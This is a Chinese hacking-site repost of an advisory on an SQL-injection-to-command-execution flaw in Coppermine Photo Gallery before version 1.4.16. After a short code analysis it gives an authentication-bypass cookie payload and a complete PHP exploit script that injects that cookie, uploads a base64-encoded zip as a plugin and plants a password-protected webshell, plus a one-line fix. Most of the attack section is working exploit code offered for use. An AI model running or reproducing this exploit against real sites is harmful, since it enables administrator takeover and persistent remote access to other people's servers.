黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·Coppermine Photo Galle06-18·用XP的启动管理来搞定Vi06-18
·Vista下IE7.0浏览器九个06-18·不费吹灰之力 速将超大文06-18
·揭秘:Vista用户名和密码06-18·265网络硬盘送500兆www.06-18
·hostshield.com提供200M06-18·详解WINRAR的自解压跨站06-17
·阿里网络硬盘免费用户5006-17·webs28提供1000M免费php06-17
·全面教你动手制作Vista和06-16·猫扑网盘,好网盘选猫扑w06-16
·天禧免费动态空间06-16·妙招让漏洞变陷阱来折磨06-14
·phpinfo跨站脚本漏洞06-14·Hashq:基于模板的多网站06-14
·Hashq:基于模板的多网站06-14·skiller3.31-可突破任意06-14
·SSClone 1.0 无限制版公06-14·对著名快递公司的一次艰06-14
·永久删除的文件到底能否06-14·CNC网通网盘送380兆,www06-14
·247ihost.com免费空间06-14·新浪网络硬盘www.sinadi06-13
·HostFile:500mb/20GB/p06-13·别把Vista防火墙当“摆设06-12
·视频摄像头常见10条常故06-12·菜鸟给菜鸟的光光盘制作06-12
[推荐]Coppermine Photo Gallery任意命令执行漏洞
        ★★★★★

Coppermine Photo Gallery任意命令执行漏洞

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-6-18 10:05:48

漏洞说明:Coppermine Photo Gallery是一款php+mysql搭建的广泛使用的相册程序,但是在编码过程中的一个错误导致任意用户可以提交数据而控制整个站点。
漏洞厂商:http://coppermine-gallery.net/
漏洞发现:http://www.80sec.com
漏洞危害:高
漏洞来源:http://www.80sec.com/release/Coppermine-Photo-Gallery-exploit.txt

漏洞分析

Coppermine Photo Gallery全局处理数据在include/init.inc.php中如下:

以下是代码片段:
$HTML_SUBST = array(’&’ => ’&’, ’"’ => ’"’, ’<’ => ‘<’, ‘>’ => ‘>’, ‘%26′ => ‘&’, ‘%22′ => ‘"’, ‘%3C’ => ‘<’, ‘%3E’ => ‘>’,’%27′ => ‘’’, “‘” => ‘’’);
$keysToSkip = array(’_POST’, ‘_GET’, ‘_COOKIE’, ‘_REQUEST’, ‘_SERVER’, ‘HTML_SUBST’);
if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!is_array($value))
$_COOKIE[$key] = stripslashes($value);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
} else {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
}

可以看到对COOKIE中的数据没有做任何处理,然后在处理用户SESSION-COOKIE的地方/bridge/coppermine.inc.php

以下是代码片段:
$sessioncookie = $_COOKIE[$this->client_id];
// Create the session id by concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;
……
// Check for valid session if session_cookie_value exists
if ($sessioncookie) {
// Check for valid session
$sql = ’select user_id from ‘.$this->sessionstable.’ where session_id=md5(”‘.$session_id.’”);’;

对session_id的操作的md5是在SQL语句里的,所以可以轻易Bypass,分析数据库结果和认证机制可以得出exploit的COOKIE为:

以下是代码片段:
")union/**/select/**/1/*

只要提交如上COOKIE就可以获得管理员身份,然后就可以上传恶意文件得到站点权限

漏洞利用:80sec提供漏洞利用程序如下:


以下是代码片段:
print_r("
+------------------------------------------------------------------+
Coppermine Photo Gallery SQL注射+命令执行漏洞
漏洞影响 version < 1.4.16
欢迎访问 http://www.80sec.com
漏洞发现 jianxin#80sec.com
用法: php.exe exp.php www.80sec.com /cpg1416/
获得webshell地址在
http://www.80sec.com/cpg1416/plugins/loveshell.php
密码 shell
Good Luck  
+------------------------------------------------------------------+
");
ini_set("max_execution_time",0);
error_reporting(7);
$blogpath="$argv[2]";
$server="$argv[1]";
$cookie=’’;
$evilzip="UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92ZXNoZWxsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9W05uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACABnk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92ZXNoZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA=";
$evilzip=base64_decode($evilzip);
$data=<< -----------------------------12345671234567
Content-Disposition: form-data; name="plugin"; filename="c:\\1.zip"
Content-Type: application/x-zip-compressed
$evilzip
-----------------------------12345671234567
www_80sec_com;
$temp=send(’’,"index.php");
preg_match_all(’/Set-Cookie: ([a-f0-9]+)=/i’,$temp,$cookiepre);
$cookiepre=$cookiepre[1][0];
if($cookiepre){
echo "Make Evil Data!\t\r\n";
$cookie=$cookiepre.’=’.urlencode(’")union/**/select/**/1/*;’);
}
echo "Make Evil Shell!\t\r\n";
send($data,"pluginmgr.php?op=upload",’multipart/form-data; boundary=---------------------------12345671234567’);
$shell="http://$server".$blogpath."plugins/loveshell.php";
echo "Look at $shell :)\r\n";
echo "Or login with cookie ".urlencode(’")union/**/select/**/1/*;’)."\r\n";
function send($cmd,$script,$type=’’)
{
global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;
$type ? $content=$type : $content="application/x-www-form-urlencoded";
$path=$blogpath."$script";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: $content\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= $evilip."\r\n";
$message .= $cmd."\r\n";
//echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = " 
";
  while($fd&&!feof($fd)) {
  $resp .= fread($fd,1024);
  }
  fclose($fd);
  $resp .="
“;
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}
?>

漏洞修复:将认证放到php中处理,即将上述问题语句改为

以下是代码片段:
$sql = ’select user_id from ’.$this->sessionstable." where session_id = ’" . md5($session_id) . "’";

文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    没有相关文章
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886